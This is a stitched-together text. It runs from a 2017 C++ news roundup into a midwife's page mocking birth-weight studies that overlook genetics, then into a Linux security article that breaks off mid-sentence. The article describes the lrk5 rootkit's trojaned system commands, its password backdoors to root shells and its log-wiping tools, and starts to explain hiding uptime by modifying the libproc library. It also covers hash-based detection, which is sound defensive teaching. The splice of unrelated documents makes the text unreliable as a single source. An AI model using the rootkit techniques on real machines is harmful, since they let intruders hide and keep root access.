Addressing a “time machine question” about what Bjarne would change in C++ if he could go back in time, he talked about good interfaces and the possibility of getting Concepts. Check the episode for more interesting thoughts from the C++ language creator.
Deep dive into C++ Core Guidelines
Rainer Grimm runs quite an interesting blog Moderness C++, and this month there is a series of detailed posts about C++ Core Guidelines in it. Rainer started with the question why do we need guidelines for C++ coding at all? The reasons he gives:
- The language is complicated for the novice.
- With each modern standard, the language changes the way we think and solve problems in C++.
- C++ is a language for safety critical systems, where the cost of error is high. But some existing guidelines are based on very old standards, and thus are outdated.
Saying this, Rainer hopes that C++ Core Guidelines will help to solve current issues. So he dedicates a series of posts to discussing the currently existing rules (350 in total) in detail, creating fables from each group and tieing them all together (posts are grouped in sections following the Guidelines structure). For example, learn about recommended practices to write Function Definitions, general rules for Classes, and many others.
Reading list
The C++ language is tough and complicated and developers often ask about recommended books on C++ good practices. All these books are well-known, but it’s always convenient to have them all in one list. So here it is, prepared by Jonathan Boccara in his blog. One may find there lots of modern language classics like Scott Meyers series, Herb Sutter’s (More) Exceptional C++, and Modern C++ Design from Andrei Alexandrescu, there are recommended books on Boost, template metaprogramming, and more.
C++ Online Compilers
Another list that might be useful for many C++ developers is published by Arne Mertz in his blog Simplify C++. That’s the list of online C++ compilers. This could serve several goals:
- Quickly check C++ code snippets without setting the whole toolchain on your machine.
- Compare several compilers or several versions of one compiler (especially for the case, when you develop using one version and build on a target platform using another one).
- Learn and experiment with the new language features.
You can also often share the code snippet online using such services.
Compiler Explorer (by Matt Godbolt) is one of the most famous online compilers. It’s often used during meetups and conference presentations, especially when talking about language features. It also shows the assembly produced by the compilers. But there are more names mentioned in the blog post, with their peculiarities highlighted.
Refactoring C++ code webinar
On August 17th we’ve run a live webinar with Arne Mertz as a speaker, the recording is now live. In an hour long talk, Arne covered general strategies and effective refactoring processes, showing lots of samples. It all started with one application where all the code was placed in one file. Step by step, Arne was extracting functions, removing duplicates, demonstrating parallel change strategy, extracting domain logic into a separate class and playing with the duplicate & reduce technique. There is a sample project available on GitHub, so you can follow the whole process.
Conan C/C++ package manager webinar
If you have ever developed a large C/C++ project or were interested in reusing certain packages and libraries, you might wonder about package and dependency managers for C/C++, then Conan is what you are looking for! In July we did a live webinar with SW Engineers from the JFrog team, who are actively contributing to Conan. An hour talk covered topics such as: creating packages from your own sources, discussing Conan profiles (what are they and how they help), and a way to skip the local cache to depend on a locally edited package. As usual, the demo project is available to try all the tips on your own. Find the recording by the link.
Compile-time string concatenation
Can you concatenate two strings in compile-time in C++? Can you do that with C++11? The blog post by Andrzej Krzemieński started with a typical static initialization order fiasco sample:
Quite a common solution might be “introduce a function notation to read a constant value”, but there are several reasons why this is not ideal and can lead to slow-downs. And here the author comes to compile-time constants and the need for compile-time concatenation. The rest of the article is about building a solution, that becomes more complicated because of C++11 and its restrictions.
A bug in GCC
If you think GCC guarantees you the exception safety, then you should check this story about the related bug in GCC. It shows a simple case that uses aggregate initialization and leads to a problem. Namely, you can get a Member that was initialized but never destroyed. The author later made another blog post showing another case where the same error occurs and that is close to real-world C++ code. Check these samples at least to confirm you don’t get similar leaks in your programs.
When comparison function does it wrong
PVS-Studio is famous for checking lots of projects for potential errors and sharing the result of such checks in their blog. In this post Andrey Karpov collected possible issues with comparison function, to share real-program examples. Several error patterns are discussed:
- Issues that come out of repetitive checks and code duplication
- Incorrect Check of Null References
- Typical issues within loops conditions
- And much more
Check real errors from Unreal Engine 4 code, Chromium, Qt, CryEngine V, MongoDB, LibreOffice and many others.
The StarCraft II API
Blizzard welcomes everyone interested, to try and implement a bot using the StarCraft II API. The library appeared on GitHub, along with a couple of tutorials (on how to create various types of bots, run simulator, etc.) and a list of examples. The API is built around protobuf defined protocol, it uses CMake to generate project files and Doxygen to generate documentation. The library supports all three platforms (Linux, Mac, Windows).
Releases
CLion
The latest release of CLion (2017.2) brought integration with Clang-Tidy, which means first and foremost that users are able to see Clang-Tidy warnings and benefit from Clang-Tidy quick-fixes right inside the IDE, in just the same way it works for CLion’s own built-in inspections. And secondly it means users can add their own check to Clang-Tidy and get them instantly in the IDE.
In addition to that, some existing inspections and quick-fixes were updated, C++17 came to the New Project Wizard, other improvements to PCH support and disassembly view in debugger were introduced. Learn more by the link.
ReSharper C++
Another C++ tool from JetBrains, ReSharper C++, which is a Visual Studio extension for C++, also got an update. With version 2017.2 ReSharper C++ now supports ClangFormat configuration files as a source of information for the built-in formatter. The tool shows the progress with C++17 features (selection statements with initializer, using in attribute namespaces, and capturing *this by value), polishes support for some C++11 features (including the work around friend declarations and user-defined literals). In addition, this release improves the code navigation and adds several new code inspections.
Qt
Qt Creator 4.4 is nearly ready for its final release. This version brings inline annotations for warnings and errors from the Clang code model (just like in Xcode) and changes to Rename refactoring that is now capable of doing Rename Files when renaming a symbol. And built-in Clang code model helps now with the highlighting of the identifier at the cursor. Check the blog post for other changes.
That’s it for now. Thanks for reading and stay tuned! | https://blog.jetbrains.com/rscpp/2017/08/29/cpp-annotated-apr-aug-2017/ | CC-MAIN-2021-39 | refinedweb | 2,370 | 60.55 |
EnumMap class in Java
EnumMap is specialized implementation of Map interface for enumeration types. It extends AbstractMap and implements Map Interface in Java. Few important features of EnumMap are as follows:
- EnumMap class is a member of the Java Collections Framework & is not synchronized.
- EnumMap is ordered collection and they are maintained in the natural order of their keys( natural order of keys means the order on which enum constant are declared inside enum type )
- It’s a high performance map implementation, much faster than HashMap.
- All keys of each EnumMap instance must be keys of a single enum type.
- EnumMap doesn’t allow null key and throw NullPointerException, at same time null values are permitted.
Declaration:
public class EnumMap<K extends Enum<K>,V>
- K: specifies the keys
- V: specifies values
K must extend Enum, which enforces the requirement that the keys must be of specified enum type.
Constructors in EnumMap:
- EnumMap(Class
keyType):The constructor is used to create an empty EnumMap with the specified keyType.
- EnumMap(EnumMap
m):The constructor is used to create an enum map with the same keyType as the specified enum map, with initial mappings being the same as enum map.
- EnumMap(Map
m):The constructor is used to create an enum map with initialization from the specified map in the parameter.
Example:
Size of EnumMap in java: 4 EnumMap: {CODE=Start Coding with gfg, CONTRIBUTE=Contribute for others, QUIZ=Practice Quizes, MCQ=Test Speed with Mcqs} Key : CODE Value: Start Coding with gfg Does gfgMap has CONTRIBUTE: true Does gfgMap has :QUIZ : true Does gfgMap has :QUIZ : false
Methods in EnumMap:
- put(K key, V value): Associates the specified value with the specified key in this map.
- putall(M map): Used to copy one map into another.
- values(): Returns the collection view of the values in map.
- remove(Object key): Used to remove a specific key from the map.
- clone(): Returns a shallow copy of the map.
- entrySet(): Returns the set view of the mappings.
- clear(): Used to remove all the mappings from the map.
- equals(Object obj): Used to compare one map with another.
- size(): Returns the number of key-value mappings in this map.
- get(Object key): Returns the value to which the specified key is mapped, or null if this map contains no mapping for the key.
- containsKey(Object key): Returns true if this map contains a mapping for the specified key.
- containsValue(Object value): Returns true if this map maps one or more keys to the specified value.
- keyset(): Returns the set view of the keys/:
- EnumMap get() Method in Java
- EnumMap put() Method in Java
- EnumMap keySet() Method in Java
- EnumMap clone() Method in Java
- EnumMap entrySet() Method in Java
- EnumMap remove() Method in Java
- EnumMap putAll(map) Method in Java
- EnumMap containsKey() Method in Java
- EnumMap values() Method in Java
- EnumMap size() Method in Java
- EnumMap containsValue(value) method in Java
- EnumMap clear() Method in Java with Examples
- EnumMap equals() Method in Java with Examples
- Implement Triplet Class with Pair Class in Java using JavaTuples
- Implement Decade Class from Ennead Class in Java using JavaTuples
Improved By : Chinmoy Lenka | https://www.geeksforgeeks.org/enummap-class-java-example/ | CC-MAIN-2019-30 | refinedweb | 523 | 57.91 |
We are welcoming all feedback related to the upcoming Python API. What kind of an API would you want to see? Which libraries should be included? NumPy and OpenCV will be included, but which other libraries would you like to have?
Here's a sneak peek of what is coming out:
import visionappster as va class Binarize: """Binarizes an image using a static gray-level threshold. """ def level_min(self): return 0 def process(self, inputs: {'image': va.int32, 'level': {'type': va.int32, 'min': lambda: self.level_min(), 'max': 255, 'default': 127}}, outputs: {'image': {'type': va.Image, 'imageType': 'raw'}}) -> va.int32: # Implementation here: read inputs and write to outputs return va.SUCCESS tools = [Binarize]
- A Former User last edited by
It was a wonderful chance to visit this kind of site and I am happy to know all about it. | https://forum.visionappster.com/topic/16/python-api-request-for-comments | CC-MAIN-2022-21 | refinedweb | 138 | 69.07 |
Who never wondered how virtual machines work? But, better than creating your own virtual machine, what if you can use one done by a big company focusing on improving the speed to the VM? In this article, I'll introduce how to use the V8 in your application, which is Google's open source JavaScript engine inside Chrome - Google’s new browser.
This code uses the V8 as an embedded library to execute JavaScript code. To get the source of the library and more information, go to the V8 developer page. To effectively use the V8 library, you need to know C/C++ and JavaScript.
Let's see what is inside the demo. The demo shows:
First, let's understand how to initialize the API. Look at this simple example of embedded V8 on C++:
#include <v8.h>
using namespace v8;
int main(int argc, char* argv[]) {
// Create a stack-allocated handle scope.
HandleScope handle_scope;
// Create a new context.
Handle();
// Convert the result to an ASCII string and print it.
String::AsciiValue ascii(result);
printf("%s\n", *ascii);
return 0;
}
Well, but this doesn't explain how we can control variables and functions inside the script. OK, the script does something... but, we need to get this information somehow, and have customized functions to control specific behavior inside the script.
First, we need a global template to control our modifications:
v8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New();
This creates a new global template which manages our context and our customizations. This is important because in V8, each context is separated, and can have its own global template. In V8, a context is an execution environment that allows separate, unrelated, JavaScript applications to run in a single instance of V8.
After that, we can add a new function named "plus":
plus
// plus function implementation - Add two numbers
v8::Handle<v8::Value> Plus(const v8::Arguments& args)
{
unsigned int A = args[0]->Uint32Value();
unsigned int B = args[1]->Uint32Value();
return v8_uint32(A + B);
}
//...
//associates plus on script to the Plus function
global->Set(v8::String::New("plus"), v8::FunctionTemplate::New(Plus));
Customized functions need to receive const v8::Arguments& as a parameter and must return v8::Handle<v8::Value>. Using the global template pointer created before, we add the function to the template, and associates the name "plus" to the callback "Plus". Now, each time we use the "plus" function on our script, the function "Plus" will be called. The Plus function does just one thing: get the first and the second parameters and return the sum.
const v8::Arguments&
v8::Handle<v8::Value>
Plus
OK, now we can use a customized function in the JavaScript side:
plus(120,44);
and we can use this function's result inside the script:
x = plus(1,2);
if( x == 3){
// do something important here!
}
Now, we can create functions... but wouldn't it be cooler if we can use something defined outside inside the script? Let's do it! The V8 have a thing called Accessor, and with it, we can associate a variable with a name and two Get / Set functions, which will be used by the V8 to access the variable when running the script.
global->SetAccessor(v8::String::New("x"), XGetter, XSetter);
This associates the name "x" with the "XGetter" and "XSetter" functions. The "XGetter" will be called by V8 each time the script needs the value of the "x" variable, and the "XSetter" will be called each time the script must update the value of "x". And now, the functions:
x
XGetter
XSetter
//the x variable!
int x;
//get the value of x variable inside javascript
static v8::Handle<v8::Value> XGetter( v8::Local<v8::String> name,
const v8::AccessorInfo& info) {
return v8::Number::New(x);
}
//set the value of x variable inside javascript
static void XSetter( v8::Local<v8::String> name,
v8::Local<v8::Value> value, const v8::AccessorInfo& info) {
x = value->Int32Value();
}
In the XGetter, we only need to convert "x" to a number type value managed by V8. In the XSetter, we need to convert the value passed as parameter to an integer value. There is one function to each basic type (NumberValue for double, BooleanValue for bool, etc.)
NumberValue
double
BooleanValue
bool
Now, we can do the same again for string (char*):
char*
//the username accessible on c++ and inside the script
char username[1024];
//get the value of username variable inside javascript
v8::Handle<v8::Value> userGetter(v8::Local<v8::String> name,
const v8::AccessorInfo& info) {
return v8::String::New((char*)&username,strlen((char*)&username));
}
//set the value of username variable inside javascript
void userSetter(v8::Local<v8::String> name, v8::Local<v8::Value> value,
const v8::AccessorInfo& info) {
v8::Local<v8::String> s = value->ToString();
s->WriteAscii((char*)&username);
}
For the string, things changed a little. The "userGetter" creates a new V8 string in the same way the XGetter does, but the userSetter needs first to access the internal string buffer by using the ToString function. Then, using the pointer to the internal string object, we use the WriteAscii function to write its content to our buffer. Now, just add the accessor, and voila!
userGetter
userSetter
ToString
WriteAscii
//create accessor for string username
global->SetAccessor(v8::String::New("user"),userGetter,userSetter);
The "print" function is another customized function which catches all parameters and prints them using the "printf" function. As we have done before with the "plus" function, we register our new function on the global template:
print
printf
//associates print on script to the Print function
global->Set(v8::String::New("print"), v8::FunctionTemplate::New(Print));
// The callback that is invoked by v8 whenever the JavaScript 'print'
// function is called. Prints its arguments on stdout separated by
// spaces and ending with a newline.
v8::Handle<v8::Value> Print(const v8::Arguments& args) {
bool first = true;
for (int i = 0; i < args.Length(); i++)
{
v8::HandleScope handle_scope;
if (first)
{
first = false;
}
else
{
printf(" ");
}
//convert the args[i] type to normal char* string
v8::String::AsciiValue str(args[i]);
printf("%s", *str);
}
printf("\n");
//returning Undefined is the same as returning void...
return v8::Undefined();
}
For each parameter, the v8::String::AsciiValue object is constructed to create a char* representation of the passed value. With it, we can convert other types to their string representation and print them!
v8::String::AsciiValue
Inside the demo program, we have this sample JavaScript to use what we have created so far:
print("begin script");
print(script executed by + user);
if ( user == "John Doe"){
print("\tuser name is invalid. Changing name to Chuck Norris");
user = "Chuck Norris";
}
print("123 plus 27 = " + plus(123,27));
x = plus(3456789,6543211);
print("end script");
This script uses the "x" variable, the "user" variable, and the "plus" and "print" functions.
user
Now, how to map a class to the JavaScript using C++? First, the sample class:
//Sample class mapped to v8
class Point
{
public:
//constructor
Point(int x, int y):x_(x),y_(y){}
//internal class functions
//just increment x_
void Function_A(){++x_; }
//increment x_ by the amount
void Function_B(int vlr){x_+=vlr;}
//variables
int x_;
};
For this class to be fully on JavaScript, we need to map both the functions and internal variable. The first step is to map a class template on our context:
Handle<FunctionTemplate> point_templ = FunctionTemplate::New();
point_templ->SetClassName(String::New("Point"));
We create a "function" template, but this can be seen as a class. This template will have the "Point" name for later usage (like create new instances of it inside the test script).
Point
Then. we access the prototype class template to add built-in methods for our class:
Handle<ObjectTemplate> point_proto = point_templ->PrototypeTemplate();
point_proto->Set("method_a", FunctionTemplate::New(PointMethod_A));
point_proto->Set("method_b", FunctionTemplate::New(PointMethod_B));
After this, the class "knows" that it has two methods and callbacks. But, this is still in the prototype, we can't use it without accessing an instance of the class.
Handle<ObjectTemplate> point_inst = point_templ->InstanceTemplate();
point_inst->SetInternalFieldCount(1);
The SetInternalFieldCount function creates space for the C++ class pointer (will see this later).
SetInternalFieldCount
Now, we have the class instance and can add accessors for the internal variable:
point_inst->SetAccessor(String::New("x"), GetPointX, SetPointX);
Then, we have the "ground" prepared... throw the seed:
Point* p = new Point(0, 0);
The new class is created, but can only be accessed in C++. To access it, we need:
Handle<Function> point_ctor = point_templ->GetFunction();
Local<Object> obj = point_ctor->NewInstance();
obj->SetInternalField(0, External::New(p));
Well, GetFunction returns the point constructor (on the JavaScript "side"), and with it, we can create a new instance using NewInstance. Then, we set our internal field (which we have created "space" for with SetInternalFieldCount) with the class pointer. With that, the JavaScript will have access to the object through the pointer.
GetFunction
NewInstance
Only one step is missing. We only have a class template and instance, but no name to access it from the JavaScript:
context->Global()->Set(String::New("point"), obj);
This last step links the "point" name to the instance obj. With these steps, we just emulate the creation of class Point with the name point in our script (before loading or running it!).
point
obj
OK, but this doesn't explain how we can access Function_A inside the Point class...
Function_A
Let's look at the PointMethod_A callback:
PointMethod_A
Handle<Value> PointMethod_A(const Arguments& args)
{
Local<Object> self = args.Holder();
Local<External> wrap = Local<External>::Cast(self->GetInternalField(0));
void* ptr = wrap->Value();
static_cast<Point*>(ptr)->Function_A();
return Integer::New(static_cast<Point*>(ptr)->x_);
}
Like a normal accessor, we must handle the arguments. But, to have access to our class, we must get the class pointer from the internal field (first one). After mapping the internal field to "wrap", we get the class pointer by retrieving its "value". Now, it's a matter of cast...
wrap
Now, we have the class pointer for the "point" class being used (which called method_a, which called the callback PointMethod_A).
method_a
The sample v8_embedded_demo_with_object.zip implements all these steps.
I hope this helps, and if something is wrong or unclear, please don't hesitate to contact.
Before trying to use the V8 library, I've tried to use Lua as an embedded scripting language to support easy configuration and changes by the user. I got amazed by V8 as it's faster and easier to use than Lua to implement scripting functionality in my own software. I hope this article help others in this task.
Look also for Google's documentation on the V8 library!
This article, along with any associated source code and files, is licensed under A Public Domain dedication
// C++ code
float CObject::Sum(float a, float b)
{
return a + b;
}
engine->RegisterObjectMethod("object", "float Sum(float, float)", asMETHOD(CObject, Sum), asCALL_THISCALL);
General News Suggestion Question Bug Answer Joke Rant Admin
Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages. | http://www.codeproject.com/Articles/29109/Using-V-Google-s-Chrome-JavaScript-Virtual-Machin?msg=2718247 | CC-MAIN-2014-41 | refinedweb | 1,828 | 50.57 |
I’m not familiar enough with NFS and don’t know why these temporary files are raising this error using multiple processes.
Thanks for reply.
I am not sure if this error will affect the result since it is still training. Now I am trying different versions of python/pytorch and looking for other ways.
Assuming you are training your model on a clusters. I recently found out if you want to use the resources efficiently. Given a batch_size of 32 and the machine you are running computations has 8 cpus (i.e. num_cpus), I set the num_workers=(batch_size/num_cpus) which 4 workers.
@all
Hi All,
I encountered similar issue, but my issue is much more complicated.
I did the following experiments:
on 2080Ti computer, the code could be correctly trained.
On 3090 computer, once the taining and validation data were loaded, the code doesn’t go forward. I click the “Pause Program” button on Pycharm, and found that the code stops in the following code:
C:\ProgramData\Anaconda3\Lib\multiprocessing\connection.py: def _exhaustive_wait(handles, timeout): # Return ALL handles which are currently signalled. (Only # returning the first signalled might create starvation issues.) L = list(handles) ready = [] while L: res = _winapi.WaitForMultipleObjects(L, False, timeout) if res == WAIT_TIMEOUT: break elif WAIT_OBJECT_0 <= res < WAIT_OBJECT_0 + len(L): res -= WAIT_OBJECT_0 elif WAIT_ABANDONED_0 <= res < WAIT_ABANDONED_0 + len(L): res -= WAIT_ABANDONED_0 else: raise RuntimeError('Should not get here') ready.append(L[res]) L = L[res+1:] timeout = 0 return ready
It seems that the code is waiting for thread?
when I clicked the “Pause Program” button on Pycharm, and found that the code stops in the following code:
I implemented the algorithm to find optimal num_workers for fast training.
You can simply find optimal num_workers on any system with this algorithm.
The below code is example code.
import torch import nws batch_size = ... dataset = ... num_workers = nws.search(dataset=dataset, batch_size=batch_size, ...) loader = torch.utils.data.DataLoader(dataset=dataset, batch_size=batch_size, ..., num_workers=num_workers, ...)
worse it is not working
Could you explain more details about the problem?
i have two dataset like nrrd and tiff file with pytorch loaders i loded data but num_of workers i given was 4
f\get show dataloaders excited error so used u for algorthims it shows same
To me, after some practicality checks, the following worked smoothly:
num_workers attribute in torch.utils.data.DataLoader should be set to 4 * num_GPU,
8 or
16 should generally be good:
num_workers=1, up to 50% GPU, for 1 epoch (106s ovre 1/10 epochs),
training completes in
43m 24s
num_workers=32, up to 90% GPU, for 1 epoch (42s over 1/14 epochs),
training completes in
11m 9s
num_workers=8, 16, up to 90% GPU, (8 is slightly better) for 1 epoch (40.5s over 1/16 epochs),
training completes in
10m 52s
num_workers=0, up to 40% GPU, for 1 epoch (129s over 1/16 epochs),
training complete in
34m 32s
Where you able to find the solution? I also have 3090 and num_workers>1 causes dataloader to lock up.
To solve this issue:
On windows 10, much much much virtual memory is needed. so you must make sure your OS partition is large enough.
On Linux, big swap partition is necessary.
Well, this appears to me as closely being related to why DataLoaders are there in the first place. Let me elaborate-
Since you set num_workers = 1, there’s only 1 parallel process running to generate the data, that might’ve caused your GPU to sit idle for the period your data gets available by that parallel process. And because of it, the GPU (CUDA) would’ve run out of memory.
As you increase the no. of workers (processes), more processes are now running in parallel to fetch data in batches essentially using CPU’s multiple cores to generate the data = data is available more readily than before = GPU doesn’t have to sit idle and wait for batches of data to get loaded = No CUDA out of memory errors.
[any help will be great appreciated]
i also want to know how the num_worker setting work.
in my cases, i have dataset of videos(seq of ims) , and my batch-size was 1(gpu limitted) that includes many images, so i want to know how to set num_worker,
set 0: it seems to run 5s/items when training,
set 8: it seems to run 1.5s/items when training, but sometimes it will be blocking/suspending for some mins ever some hours, only one cpu core is 100%, other cpus not working, GPU is idle totally, RAM memory still has lots of free space, io/RW keep low or 0), it’s weird.
it seems that when the first epoch work fine, but from the second epoch, the idle intervals will happen
set 16: it seems to be slower than setting 8, and RAM will be full
i usually setting 8 to run, but the GPU has not been taken the most advantage of, it always works a while and sit idle a while | https://discuss.pytorch.org/t/guidelines-for-assigning-num-workers-to-dataloader/813?page=4 | CC-MAIN-2022-40 | refinedweb | 840 | 59.23 |
Semicolon Disappears When The Quantity Field Is Filled With Decimal Number
(Doc ID 2678872.1)
Last updated on JUNE 09, 2020
Applies to:Oracle Order Management - Version 12.2.7 and later
Information in this document applies to any platform.
Symptoms
On : 12.2.7 version, Transaction Entry
ACTUAL BEHAVIOR
---------------
The return (ordered) quantity in decimal value is getting
rounded to the nearest integer when the line type is return.
EXPECTED BEHAVIOR
-----------------------
When the line type is return, if the return (ordered ) quantity is decimal then the quantity field should show
decimal quantity with a negative symbol.
STEPS
-----------------------
The issue can be reproduced at will with the following steps:
1. create RMA in HTML page
2. use decimal quantities
3. when tabbing out to the next field, quantity is rounded
Cause
In this Document | https://support.oracle.com/knowledge/Oracle%20E-Business%20Suite/2678872_1.html | CC-MAIN-2021-39 | refinedweb | 134 | 58.48 |
The gentlebirth.org website is provided courtesy of
Ronnie Falcao, LM MS, a homebirth midwife in Mountain View, CA
This web page is a little bit tongue-in-cheek, because, from time-to-time,
I see a study that makes me think that genetics is no longer being taught
in med. schools. So I'm collecting relevant links here:
Due Dates - Genetic Heritage
US-born Indian women have small babies [Source: The Journal of Pediatrics 2006, pre-release 4/5/06] - Investigating whether the tendency of Indian immigrants to have small babies is mirrored in their daughters, despite their living in the USA.
"Asian-Indian women born in the USA deliver more low-birth-weight babies than their Mexican-American peers, despite having fewer risk factors, US researchers reveal. " . . . "Attempting to explain their results, Madan and colleagues speculate that maternal birth weight, stress, attitudes toward pregnancy and family support may influence fetal growth." Oh, gee, I don't know, what else could it be . . .? Maybe the paternal birth weight is also a factor! In fact, maybe the parental heights and parental weights and even the baby's length are factors! Oh, gosh, you don't think it could be genetic, do you? NO . . . medicine teaches us that NORMAL means "equal to the norm", right? WRONG!
Sociocultural
factors that affect pregnancy outcomes in two dissimilar immigrant groups
in the United States.
Madan A, Palaniappan L, Urizar G, Wang Y, Fortmann SP, Gould JB.
J Pediatr. 2006 Mar;148(3):341-6.
CONCLUSIONS:. [Ed: Maybe they should start
with some really basic research, such as showing that newborn weights are
directly affected by the size of their parents! It's called genetics!]
I'm saving this spot for research that will surely come if the above
trend continues. It will be about something really, really silly,
such as, "Caucasians continue to have lighter skin, even after moving to
Africa," or, even worse, "Study shows that children of French parents are
more likely to speak French." Do you think that's too ridiculous?
Oh, ye of little faith . . .
#include "trailer.incl" | http://www.gentlebirth.org/archives/genetics.html | crawl-001 | refinedweb | 348 | 60.65 |
operations a cracker can do after having succeeded in entering a machine. We will also discuss what an administrator can do to detect that the machine has been jeopardized.
Let us assume that a cracker has been able to enter a system, without bothering about the method he used. We consider he has all the permissions (administrator, root...) on this machine. The whole system then becomes untrustable, even if every tool seems to say that everything is fine. The cracker cleaned up everything in the logs... as a matter of fact, he is comfortably installed in your system.
His first goal is to keep as discreet as possible to prevent the administrator from detecting his presence. Next, he will install all the tools he needs according to what he wants to do. Sure, if he wants to destroy all the data, he will not be that careful.
Obviously, the administrator cannot stay connected to his machine listening to every
connection. However he has to detect an unwanted intrusion as fast as possible.
The jeopardized system becomes a launching pad for the cracker's programs (bot
IRC, DDOS, ...). For instance, using a sniffer, he can get all the network
packets. Many protocols do not cypher the data or the passwords (like
telnet,
rlogin,
pop3, and many others).
Accordingly, the more time the cracker gets, the more he can control the network
the jeopardized machine belongs to.
Once his presence has been detected, another problem appears: we do not know what the cracker changed in the system. He probably jeopardized the basic commands and the diagnostic tools to hide himself. We then must be very strict to be sure not to forget anything, otherwise the system could be jeopardized once again.
The last question concerns the measures to be taken. There are two policies. Either the administrator reinstalls the whole system, or he only replaces the corrupt files. If a full install takes a long time, looking for the modified programs, while being sure of not forgetting anything, will demand great care.
Whatever the preferred method is, it is recommended to make a backup of the corrupt system to discover the way the cracker did the job. Furthermore, the machine could be involved in a much bigger attack, what could lead to legal proceedings against you. Not to backup could be considered as hiding evidences... while these could clear you.
Here, we discuss a few different methods used to become invisible on a jeopardized system while keeping maximum privileges in the exploited system.
Before getting to the heart of the matter, let us define some terminology:
Once he has jeopardized a system, the cracker needs both kinds of programs. Backdoors allow him to get into the machine, including if the administrator changes every password. Trojans mostly allow him to remain unseen.
We do not care at this moment whether a program is a trojan or a backdoor. Our goal is to show the existing methods to implement them (they are rather identical) and to detect them.
Last, let us add that most of Linux distributions offer an authentication
mechanism (i.e verifying at once the files integrity and their origin -
rpm --checksig, for instance). It is strongly recommended to check
it before any software installation on your machine. If you get a corrupt
archive and install it, the cracker will have nothing else to do:(
This is what happens under Windows with Back Orifice.
In Unix prehistory, it was not very difficult to detect an intrusion on a machine:
lastcommand shows the account(s) used by the "intruder" and the place from where he connected with the corresponding dates;
lsdisplays files and
pslists the programs (sniffer, password crackers...) ;
netstatdisplays the machine's active connections;
ifconfigindicates if the network card is in
promiscuousmode, a mode that allows a sniffer to get all the network packets...
Since then, crackers have developped tools to substitute these commands. Like the Greeks had built a wooden horse to invade Troja, these programs look like something known and thus trusted by the administrator. However, these new versions conceal information related to the cracker. Since the files keep the same timestamps as others programs from the same directory and the checksums have not changed (via another trojan), the "naive" administrator is completely hoodwinked.
Linux Root-Kit (
lrk) is a classic of its kind
(even if a bit old). Developed at the beginning by Lord Somer, it is today
at its fifth version. There are many others root-kits and here we will only
discuss the features of this one to give you an idea about the abilities of
these tools.
The substituted commands provide privileged access to the system. To prevent
someone using one of these commands from noticing the changes, they are password
protected (default is
satori), and this can be configured at
compile time.
ls,
find,
locate,
xargsor
duwill not display his files;
ps,
topor
pidofwill conceal his processes;
netstatwill not display the unwanted connections especially to the cracker's daemons, such as
bindshell,
bncor
eggdrop;
killallwill keep his processes running;
ifconfigwill not show that the network interface is in
promiscuousmode (the "
PROMISC" string usually appears when this is true);
crontabwill not list his tasks;
tcpdwill not log the connections defined in a configuration file;
syslogdsame as
tcpd.
chfnopens a root shell when the root-kit password is typed as a username;
chshopens a root shell when the root-kit password is typed as a new shell;
passwdopens a root shell when the root-kit password is typed as a password;
loginallows the cracker's login as any identity when the root-kit password is typed (then disables history);
susame as
inetdinstalls a root shell listening to a port. After connection, the root-kit password must be entered in the first line;
rshdexecutes the asked command as root if the username is the root-kit password;
sshdworks like
loginbut provides a remote access;
fixinstalls the corrupt program keeping the original timestamp and checksum;
linsniffercaptures the packets, get passwords and more;
sniffchkchecks that the sniffer is still working;
wtedallows
wtmpfile editing;
z2deletes the unwanted entries in
wtmp,
utmpand
lastlog;
This classic root-kit is outdated, since the new generation root-kits directly attack the system kernel. Furthermore, the versions of the affected programs are not used anymore.
As soon as the security policy is strict, this kind of root-kit is easy to detect. With its hash functions, cryptography provides us with the right tool:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
Without knowing what has been changed, it can be noticed at once that the
installed
ifconfig and the one from
lrk5 are different.
Thus, as soon as a machine installation is over, it is required to backup the sensitive files (back on "sensitive files" later) as hashes in a database, to be able to detect any alteration as fast as possible.
The database must be put on a physically unwritable support (floppy, not rewritable CD...). Let us assume the cracker succeeded in getting administrator privileges on the system. If the database has been put on a read-only partition, enough for the cracker to remount it read-write, to update it and to mount it back read-only. If he is a conscientious one, he will even change the timestamps. Thus, the next time you will check integrity, no difference will appear. This shows that super-user privileges do not provide enough protection for the database updating.
Next, when you update your system, you must do the same with your backup. This way, if you check the updates authenticity, you are able to detect any unwanted change.
However, checking the integrity of a system requires two conditions:
That is, every system check must be done with tools coming from another system (non jeopardized).
As we have seen it, becoming invisible requires the change of many items in the system. Numerous commands allow us to detect if a file exists and each of them must be changed. It is the same for the network connections or the current processes on the machine. Forgetting the later is a fatal error as far as discretion is concerned.
Nowadays, to avoid too big programs, most of the binaries use dynamic libraries. To solve the above mentioned problem, a simple solution is not to change each binary, but put the required functions in the corresponding library, instead.
Let us take the example of a cracker wishing to change a machine's uptime since he
just restarted it. This information is provided by the system through different
commands, such as
uptime,
w,
top.
To know the libraries required by these binaries, we use the
ldd command:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Apart from
libc, we are trying to find the
libproc.so library. Enough to get the source code and change what
we want. Here, we will use version 2.0.7, found in the
$PROCPS
directory.
The source code for the
uptime command (in
uptime.c) informs us that we can find the
print_uptime() function (in
$PROCPS/proc/whattime.c) and the
uptime(double *uptime_secs, double *idle_secs) function (in
$PROCPS/proc/sysinfo.c). Let us change this last according to our
needs:
